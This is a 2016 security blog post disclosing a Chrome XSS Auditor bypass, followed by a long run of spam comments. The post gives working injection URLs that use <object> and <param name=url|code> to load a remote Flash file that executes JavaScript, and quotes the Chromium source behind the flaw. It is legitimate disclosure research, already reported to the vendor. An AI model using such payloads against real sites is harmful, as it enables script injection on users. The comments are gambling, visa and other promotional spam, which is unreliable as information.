Tuesday, December 27, 2016

XSS Auditor bypass using obscure <param> tag

Hi there!
I just found an XSS Auditor bypass by accident when I read Chromium's code for the another reason.
In this short post, I'd like to share this bypass. I confirmed that it works on Chrome Canary 57.
I have already reported here: https://bugs.chromium.org/p/chromium/issues/detail?id=676992

The bypass is:

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3E
<object allowscriptaccess=always>
<param name=url value=https://l0.cm/xss.swf>
Also it works:

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=code%20value=https://l0.cm/xss.swf%3E
<object allowscriptaccess=always>
<param name=code value=https://l0.cm/xss.swf>
I didn't know that Chrome supports such params until I found it in the HTMLObjectElement.cpp:
if (url.isEmpty() && urlParameter.isEmpty() &&
    (equalIgnoringCase(name, "src") || equalIgnoringCase(name, "movie") ||
     equalIgnoringCase(name, "code") || equalIgnoringCase(name, "url")))
  urlParameter = stripLeadingAndTrailingHTMLSpaces(p->value());
The <param name="src" value="//attacker/xss.swf"> and <param name="movie" value="//attacker/xss.swf"> are blocked by XSS Auditor. But I noticed that code and url are not blocked. Using this, we can load Flash and execute the JavaScript. According to the source code's comment, it seems Chrome supports this for compatibility. But at least I confirmed it does not work on IE/Edge and Firefox. I think Chrome can remove this support :)

That's it. I wrote about XSS Auditor bypass using <param>. Thanks for reading!

59 comments:

  1. To do Not Pressure OR Anything, But Have Ever This considered post there is statement PT Lampung Service this is a
    Service HP Bandar Lampung whose looking to do day
    Service iPhone Lampung to this looking then to that is
    Jasa Kursus Service HP I will try it.
    Jasa Kursus Service HP They have jumping places and so that the device other kid's activity.Youtuber Lampung , Thanks ! Visit Back.

    ReplyDelete
  2. toptan iç giyim tercih etmenizin sebebi kaliteyi ucuza satın alabilmektir. Ürünler yine orjinaldir ve size sorun yaşatmaz. Yine de bilinen tekstil markalarını tercih etmelisiniz.

    Digitürk başvuru güncel adresine hoşgeldiniz. Hemen başvuru yaparsanız anında kurulum yapmaktayız.

    tutku iç giyim Türkiye'nin önde gelen iç giyim markalarından birisi olmasının yanı sıra en çok satan markalardan birisidir. Ürünleri hem çok kalitelidir hem de pamuk kullanımı daha fazladır.

    nbb sütyen hem kaliteli hem de uygun fiyatlı sütyenler üretmektedir. Sütyene ek olarak sütyen takımı ve jartiyer gibi ürünleri de mevcuttur. Özellikle Avrupa ve Orta Doğu'da çokça tercih edilmektedir.

    yeni inci sütyen kaliteyi ucuz olarak sizlere ulaştırmaktadır. Çok çeşitli sütyen varyantları mevcuttur. iç giyime damga vuran markalardan biridir ve genellikle Avrupa'da ismi sıklıkla duyulur.

    iç giyim ürünlerine her zaman dikkat etmemiz gerekmektedir. Üretimde kullanılan malzemelerin kullanım oranları, kumaşın esnekliği, çekmezlik testi gibi birçok unsuru aynı anda değerlendirerek seçim yapmalıyız.

    iç giyim bayanların erkeklere göre daha dikkatli oldukları bir alandır. Erkeklere göre daha özenli ve daha seçici davranırlar. Biliyorlar ki iç giyimde kullandıkları şeyler kafalarındaki ve ruhlarındaki özellikleri dışa vururlar.

    ReplyDelete
  3. Fantastic goods article. I've understood your stuff before and you're great.. I really love this website, keep it up thanks.. You can fill the visa transit Turkey application form through the online Turkish visa Guide.

    ReplyDelete
  4. I really enjoyed reading this fantastic blog.. Foreign travelers who wish to travel to Azerbaijan need to apply for e visa to Azerbaijan online that provide the fast and secure visa services.

    ReplyDelete
  5. I truly love your site.. Great colors & theme.
    Did you make this amazing site yourself? Please reply
    back as I’m hoping to create my own personal website and would love
    to know where you got this from or just what the theme is called.
    Many thanks! 토토

    ReplyDelete
  6. However I wish to say that this write-up very compelled me to take a look at and do it! Your writing taste has been surprised me. Thank you
    경마
    온라인경마

    ReplyDelete
  7. Spot on with this write-up, I absolutely believe that this website needs a lot more attention. I’ll probably be returning to read more, thanks for the advice! 카지노

    ReplyDelete
  8. You need to be a part of a contest for one of the finest websites on the net.
    I’m going to recommend this web site! 사설토토

    ReplyDelete
  9. Most individuals all over the globe desire to start a warm and loving family, and ukrainian brides are those ladies who are willing to marry a foreigner. To start a discussion with these females, you must first tell them everything about yourself. After you've completed all of this, you may begin hunting for the same woman. In my experience, you can totally trust these people because I've been in contact with a female I'm interested in for over a year owing to them.

    ReplyDelete
  10. I am really enjoying the design and layout of your blog.Complete the Kenya online visa application from on the Kenya eVisa website and confirm your application and pay kenya e visa fees. Within minutes

    ReplyDelete
  11. Excellent information Providing by your Article thank you for taking the time to share with us such a nice article. 스포츠토토

    ReplyDelete
  12. Thank you , this is really useful information towards my assessment. 토토

    ReplyDelete
  13. This is my first time go to see at here and i am really happy to read everything at single place. 슬롯머신

    ReplyDelete
  14. Its an amazing website, I really enjoy reading your articles.
    토토

    ReplyDelete
  15. It very well may be very unpleasant to make the fundamental groundwork for the large day. There are so numerous things that can turn out badly. You may end up tracking down a couple of wrinkles or pimples preceding the huge day. This is unquestionably something which you would prefer not to see Feel free to visit my website; 토토사이트

    ReplyDelete
  16. This is the post I was looking for 메이저사이트 I am very happy to finally read about the Thank you very much. Your post was of great help to me. If you are interested in the column I wrote, please visit my site .

    ReplyDelete
  17. These are in fact wonderful ideas in concerning blogging. You have touched some good factors here. Any way keep up wrinting. วิธีสมัคร ufabet

    ReplyDelete
  18. Wow, that's what I was looking for, what stuff! Present here on this website, thanks to the admin of this website.. Turkish visa is an electronic travel authorization which is a 100% online Turkish e visa process, which takes hardly 3-5 minutes to fill out an online application.

    ReplyDelete
  19. Thank you for everything I am very glad I was able to survive my salary recommending this article. And being able to travel around the world according to my dreams for 80 $ from the web, I would like to share my success as the link at the bottom.


    https://www.totosafeguide.com

    ReplyDelete
  20. It seems like I've never seen an article of a kind like . It literally means the best thorn. It seems to be a fantastic article. It is the best among articles related to 바카라사이트 . seems very easy, but it's a difficult kind of article, and it's perfect.

    ReplyDelete
  21. Thanks in support of sharing such a nice opinion, piece of writing is good, thats why i have read it fully. 바카라사이트

    ReplyDelete
  22. That's a really impressive new idea! 안전한놀이터 It touched me a lot. I would love to hear your opinion on my site. Please come to the site I run once and leave a comment. Thank you.

    ReplyDelete
  23. I think your website has a lot of useful knowledge. I'm so thankful for this website.
    I hope that you continue to share a lot of knowledge.
    This is my website.
    넷파블머니상

    ReplyDelete
  24. Which is some inspirational stuff. Never knew that opinions might be this varied. Thank you for all the enthusiasm to provide such helpful information here.바카라사이트 It helped me a lot. If you have time, I hope you come to my site and share your opinions. Have a nice day.

    ReplyDelete
  25. The content you shared with us is great. Thanks for sharing it. You can apply for Indian visa by clicking the link we just provided. Thanks for adding value to the post.

    ReplyDelete
  26. I’m thinking some of my readers might find a bit of this interesting. Do you mind if I post a clip from this and link back? Thanks 사설토토

    ReplyDelete
  27. This is new knowledge for me, I am excited about it. thanks....tourist visa India, You can get an online tourist visa for India and visit the beautiful religious places of India etc.

    ReplyDelete
  28. İnstagram takipçi satın al! İnstagram takipçi sitesi ile takipçi satın al sende sosyal medyada fenomen olmaya bir adım at. Sende hemen instagram takipçi satın almak istiyorsan tıkla:

    1- takipçi satın al

    2- takipçi satın al

    3- takipçi satın al

    ReplyDelete
  29. Your blogs are great.Are you also searching for Nursing writing papers ? we are the best solution for you. We are best known for delivering nursing writing services to students without having to break the bank.whatsapp us:+1-(951)-468-9855

    ReplyDelete
  30. I want to always read your blogs. I love them Are you also searching for nursing diagnosis writing services? we are the best solution for you. We are best solution for you.

    ReplyDelete
  31. Pretty nice post. I just stumbled upon your weblog and wanted to say that I have really enjoyed browsing your blog posts. After all I’ll be subscribing to your feed and I hope you write again soon! rolet online

    ReplyDelete
  32. Good afternoon sir and your blog is great. Many people ask, India business visa requirements, you can see on my blog that all requirements related to business visa are available here.

    ReplyDelete
  33. I was impressed with your article's clarity and how clear you presented the information. We are happy to announce that Myanmar evisa are now available to travelers worldwide with effect from 1st April 2022. I hope you are excited to explore the untouched beauty of Myanmar.

    ReplyDelete
  34. I was impressed by your writing. Your writing is impressive. I want to write like you.안전놀이터 I hope you can read my post and let me know what to modify. My writing is in I would like you to visit my blog.

    ReplyDelete
  35. There are a lot of commercial security alarm companies out there, and it can be tough to know which one to choose. commercial security alarm companies

    ReplyDelete
  36. Create task lists and workflows, assign tasks to team members and monitor all actions. Actionable check list items can be assigned to the concerned person or department and team leads can see the tasks assigned by them and the current progress. venue workflow management

    ReplyDelete
  37. Meeting rooms are situated away from the public areas, available day and evening, with or without private dining. If your itinerary allows it, slope based activities can be arranged which include effective teambuilding exercises created and led by our snow sports team. Your package can even include teaching your group a brand new sport! Meeting Rooms Yorkshire

    ReplyDelete
  38. Which is some inspirational stuff. Never knew that opinions might be this varied. Thank you for all the enthusiasm to provide such helpful information here.바카라사이트 It helped me a lot. If you have time, I hope you come to my site and share your opinions. Have a nice day.
    dsyyyt

    ReplyDelete
  39. می‌توانیم عرضه و تقاضا سم سیدن یا به‌طور کلی تحلیل چارت بدون اندیکاتور را به دو شاخه اصلی تقسیم کنیم. شاخه اول تقریبا همان تکنیکال کلاسیک توسعه‌یافته است. مانند سبک البروکس، لنس بگز، نایل فولر و اساتید دیگر که از صاحبین سبک در این شاخه هستند. این اساتید مفاهیم خطوط روند و کانال، الگوهای ادامه‌دهنده و بازگشتی، الگوهای کندلی، پیوت‌ها و … را همراه با تکنیک‌هایی مانند پولبک‌ها و شکست‌ها برای تحلیل چارت به کار می‌گیرند. اساتید این شاخه گه‌گاهی از اندیکاتورها برای تعیین روند نیز استفاده می‌کنند ولی فعالیت کلی آن‌ها مبتنی بر حرکات قیمت است. به‌عنوان مثال البروکس یا فولر از یک میانگین متحرک برای تعیین روند استفاده می‌کنند.

    ReplyDelete
  40. Je n'ai aucun mot pour apprécier ce post…..Je suis vraiment impressionné par ce post.La personne qui a créé ce poste était un grand humain.Merci de nous l'avoir fait savoir. 먹튀검증

    ReplyDelete